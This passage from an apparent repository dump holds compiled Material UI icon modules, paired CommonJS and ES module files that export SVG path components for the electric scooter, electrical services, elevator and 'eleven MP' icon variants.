    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricScooterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.82 16H15v-1c0-2.21 1.79-4 4-4h.74l-1.9-8.44C17.63 1.65 16.82 1 15.89 1H12v2h3.89l1.4 6.25h-.01c-2.16.65-3.81 2.48-4.19 4.75H7.82c-.48-1.34-1.86-2.24-3.42-1.94-1.18.23-2.13 1.2-2.35 2.38C1.7 16.34 3.16 18 5 18c1.3 0 2.4-.84 2.82-2M5 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8 4H7l6 3v-2h4l-6-3z\"\n}, \"1\")], 'ElectricScooterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServices.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2v2h2c.55 0 1-.45 1-1m-1 3h-2v2h2c.55 0 1-.45 1-1s-.45-1-1-1m-8-3h-2v4h2c0 1.1.9 2 2 2h3v-8h-3c-1.1 0-2 .9-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13c0-1.1.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2\"\n}, \"1\")], 'ElectricalServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2v2h2c.55 0 1-.45 1-1m-1 3h-2v2h2c.55 0 1-.45 1-1s-.45-1-1-1m-8-3h-2v4h2c0 1.1.9 2 2 2h3v-8h-3c-1.1 0-2 .9-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13c0-1.1.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2\"\n}, \"1\")], 'ElectricalServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2v2h2c.55 0 1-.45 1-1m-1 3h-2v2h2c.55 0 1-.45 1-1s-.45-1-1-1m-8-3h-2v4h2c0 1.1.9 2 2 2h3v-8h-3c-1.1 0-2 .9-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13c0-1.1.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2\"\n}, \"1\")], 'ElectricalServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2v2h2c.55 0 1-.45 1-1m-1 3h-2v2h2c.55 0 1-.45 1-1s-.45-1-1-1m-8-3h-2v4h2c0 1.1.9 2 2 2h3v-8h-3c-1.1 0-2 .9-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13c0-1.1.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2\"\n}, \"1\")], 'ElectricalServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2v2h2c.55 0 1-.45 1-1m-1 3h-2v2h2c.55 0 1-.45 1-1s-.45-1-1-1m-4-5h-2c-1.1 0-2 .9-2 2h-1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h1c0 1.1.9 2 2 2h2c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1M5 13c0-1.1.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2\"\n}), 'ElectricalServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2v2h2c.55 0 1-.45 1-1m-1 3h-2v2h2c.55 0 1-.45 1-1s-.45-1-1-1m-4-5h-2c-1.1 0-2 .9-2 2h-1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h1c0 1.1.9 2 2 2h2c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1M5 13c0-1.1.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2\"\n}), 'ElectricalServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h3v2h-3zm-6-1v2h-2v4h2v2h5v-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h7V4H4v2h6v3H3v8h6v-2H5zm13 6h3v2h-3z\"\n}, \"1\")], 'ElectricalServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h3v2h-3zm-6-1v2h-2v4h2v2h5v-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h7V4H4v2h6v3H3v8h6v-2H5zm13 6h3v2h-3z\"\n}, \"1\")], 'ElectricalServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15h-2v-2h2c.55 0 1 .45 1 1s-.45 1-1 1m0 4h-2v-2h2c.55 0 1 .45 1 1s-.45 1-1 1m-6-7c-1.1 0-2 .9-2 2h-2v4h2c0 1.1.9 2 2 2h3v-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0 .55.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2s.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1\"\n}, \"1\")], 'ElectricalServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricalServicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15h-2v-2h2c.55 0 1 .45 1 1s-.45 1-1 1m0 4h-2v-2h2c.55 0 1 .45 1 1s-.45 1-1 1m-6-7c-1.1 0-2 .9-2 2h-2v4h2c0 1.1.9 2 2 2h3v-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0 .55.45 1 1 1h3.5c.83 0 1.5.67 1.5 1.5S9.33 9 8.5 9H7c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2H7c-1.1 0-2-.9-2-2s.9-2 2-2h1.5c1.93 0 3.5-1.57 3.5-3.5S10.43 4 8.5 4H5c-.55 0-1 .45-1 1\"\n}, \"1\")], 'ElectricalServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Elevator.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.5 6c.69 0 1.25.56 1.25 1.25S9.19 8.5 8.5 8.5s-1.25-.56-1.25-1.25S7.81 6 8.5 6m2.5 8h-1v4H7v-4H6v-2.5c0-1.1.9-2 2-2h1c1.1 0 2 .9 2 2zm4.5 3L13 13h5zM13 11l2.5-4 2.5 4z\"\n}), 'Elevator');"
  },
  {
    "path": "packages/mui-icons-material/lib/Elevator.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.5 6c.69 0 1.25.56 1.25 1.25S9.19 8.5 8.5 8.5s-1.25-.56-1.25-1.25S7.81 6 8.5 6m2.5 8h-1v4H7v-4H6v-2.5c0-1.1.9-2 2-2h1c1.1 0 2 .9 2 2zm4.5 3L13 13h5zM13 11l2.5-4 2.5 4z\"\n}), 'Elevator');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15v-4h1v-2.5c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2V14h1v4zM8.5 8.5c.69 0 1.25-.56 1.25-1.25S9.19 6 8.5 6s-1.25.56-1.25 1.25S7.81 8.5 8.5 8.5M18 11l-2.5-4-2.5 4zm-5 2 2.5 4 2.5-4z\"\n}), 'ElevatorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15v-4h1v-2.5c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2V14h1v4zM8.5 8.5c.69 0 1.25-.56 1.25-1.25S9.19 6 8.5 6s-1.25.56-1.25 1.25S7.81 8.5 8.5 8.5M18 11l-2.5-4-2.5 4zm-5 2 2.5 4 2.5-4z\"\n}), 'ElevatorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.5 6c.69 0 1.25.56 1.25 1.25S9.19 8.5 8.5 8.5s-1.25-.56-1.25-1.25S7.81 6 8.5 6m2.5 7c0 .55-.45 1-1 1v3c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1v-3c-.55 0-1-.45-1-1v-1.5c0-1.1.9-2 2-2h1c1.1 0 2 .9 2 2zm6.52.76-1.6 2.56c-.2.31-.65.31-.85 0l-1.6-2.56c-.2-.33.04-.76.43-.76h3.2c.39 0 .63.43.42.76M17.1 11h-3.2c-.39 0-.63-.43-.42-.77l1.6-2.56c.2-.31.65-.31.85 0l1.6 2.56c.2.34-.04.77-.43.77\"\n}), 'ElevatorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.5 6c.69 0 1.25.56 1.25 1.25S9.19 8.5 8.5 8.5s-1.25-.56-1.25-1.25S7.81 6 8.5 6m2.5 7c0 .55-.45 1-1 1v3c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1v-3c-.55 0-1-.45-1-1v-1.5c0-1.1.9-2 2-2h1c1.1 0 2 .9 2 2zm6.52.76-1.6 2.56c-.2.31-.65.31-.85 0l-1.6-2.56c-.2-.33.04-.76.43-.76h3.2c.39 0 .63.43.42.76M17.1 11h-3.2c-.39 0-.63-.43-.42-.77l1.6-2.56c.2-.31.65-.31.85 0l1.6 2.56c.2.34-.04.77-.43.77\"\n}), 'ElevatorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM8.5 6c.69 0 1.25.56 1.25 1.25S9.19 8.5 8.5 8.5s-1.25-.56-1.25-1.25S7.81 6 8.5 6m2.5 8h-1v4H7v-4H6V9.5h5zm4.5 3L13 13h5zM13 11l2.5-4 2.5 4z\"\n}), 'ElevatorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM8.5 6c.69 0 1.25.56 1.25 1.25S9.19 8.5 8.5 8.5s-1.25-.56-1.25-1.25S7.81 6 8.5 6m2.5 8h-1v4H7v-4H6V9.5h5zm4.5 3L13 13h5zM13 11l2.5-4 2.5 4z\"\n}), 'ElevatorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm-9 13v-4h1v-2.5c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2V14h1v4zM8.5 8.5c.69 0 1.25-.56 1.25-1.25S9.19 6 8.5 6s-1.25.56-1.25 1.25S7.81 8.5 8.5 8.5M18 11l-2.5-4-2.5 4zm-5 2 2.5 4 2.5-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15v-4h1v-2.5c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2V14h1v4zM8.5 8.5c.69 0 1.25-.56 1.25-1.25S9.19 6 8.5 6s-1.25.56-1.25 1.25S7.81 8.5 8.5 8.5M18 11l-2.5-4-2.5 4zm-5 2 2.5 4 2.5-4z\"\n}, \"1\")], 'ElevatorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevatorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm-9 13v-4h1v-2.5c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2V14h1v4zM8.5 8.5c.69 0 1.25-.56 1.25-1.25S9.19 6 8.5 6s-1.25.56-1.25 1.25S7.81 8.5 8.5 8.5M18 11l-2.5-4-2.5 4zm-5 2 2.5 4 2.5-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15v-4h1v-2.5c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2V14h1v4zM8.5 8.5c.69 0 1.25-.56 1.25-1.25S9.19 6 8.5 6s-1.25.56-1.25 1.25S7.81 8.5 8.5 8.5M18 11l-2.5-4-2.5 4zm-5 2 2.5 4 2.5-4z\"\n}, \"1\")], 'ElevatorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM11 5.5v6H9.5V7H8V5.5zm5 0v6h-1.5V7H13V5.5zm-.5 8.5H17v1.5h-1.5z\"\n}), 'ElevenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM11 5.5v6H9.5V7H8V5.5zm5 0v6h-1.5V7H13V5.5zm-.5 8.5H17v1.5h-1.5z\"\n}), 'ElevenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 11.5H11v-6H8V7h1.5zm5 0H16v-6h-3V7h1.5z\"\n}, \"2\")], 'ElevenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 11.5H11v-6H8V7h1.5zm5 0H16v-6h-3V7h1.5z\"\n}, \"2\")], 'ElevenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElevenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.75 5.5H10c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C8.34 7 8 6.66 8 6.25s.34-.75.75-.75m3.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-11.5c0-.41.34-.75.75-.75H15c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 